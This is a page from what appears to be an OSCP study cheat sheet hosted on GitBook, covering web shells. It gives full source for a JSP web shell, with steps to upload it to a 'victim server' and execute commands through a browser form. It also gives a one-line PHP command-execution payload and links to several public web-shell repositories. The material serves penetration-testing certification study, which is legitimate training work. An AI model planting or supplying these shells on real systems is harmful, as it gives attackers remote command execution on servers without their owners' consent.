☕
My OSCP Journey: Tips, Tricks, and Cheat Sheets
  • Introduction
  • Network Scan
  • Services Exploitation
    • 21 - FTP
    • 25, 465, 587 - SMTP
    • 53 - DNS
    • 88 - Kerberos
    • 80, 443 - HTTP/S
    • 110, 995 - POP
    • 111 - NFS/RPC
    • 135, 593 - MSRPC
    • 139, 445 - SMB
    • 143, 993 - IMAP
    • 161 - SNMP
    • 389, 636, 3268, 3269 - LDAP
    • 3306 - Mysql
    • 5432 - Postgres
    • 27017 - MongoDB
  • Web Application Attacks
    • SQL Injection
    • File Inclusion Vulnerabilty
    • Command Injection
    • Client-Side Attacks
  • Brute Forcing
  • Privilege Escalation
    • Manual Enumeration
      • Windows Enumeration
      • Linux Enumeration
    • Windows Privesc
    • Linux Privesc
  • Active Directory
    • AD Manual Enumeration
    • AD Automatic Enumeration
    • AD Authentication
    • AD Lateral Movement
    • AD Attacking Kerberos
    • Hash Cracking Techniques
  • Transfer Files
    • Windows Downloads
    • Windows Uploads
  • Shells
    • Reverse/Bind Shells
    • Web Shells
Powered by GitBook
On this page
  • JSP
  • PHP

Was this helpful?

Edit on GitHub
  1. Shells

Web Shells

PreviousReverse/Bind Shells

Last updated 2 years ago

Was this helpful?

JSP

  1. Save the below as cmd.jsp and upload to the victim server.

  2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>p

Other JSP Shells:

  1. JSP Reverse+Web Shell:

  1. JSP Web Shells Mix:

PHP

Classic payload to execute commands:

<?php system($_GET['cmd']); ?>

A really simple and tiny PHP Web shell for executing unix commands from web page:

A Simple PHP Web Shell used for Remote Code Execution:

A very simple but functional PHP webshell:

source code
JSP-Reverse-and-Web-Shell/shell.jsp at main · LaiKash/JSP-Reverse-and-Web-ShellGitHub
GitHub - threedr3am/JSP-WebShells: Collect JSP webshell of various implementation methods. 收集JSP Webshell的各种姿势GitHub
GitHub - artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web pageGitHub
GitHub - itsKindred/php-web-shell: A Simple PHP Web Shell used for Remote Code Execution.GitHub
GitHub - drag0s/php-webshell: A very simple but functional PHP webshell.GitHub
Logo
Logo
Logo
Logo
Logo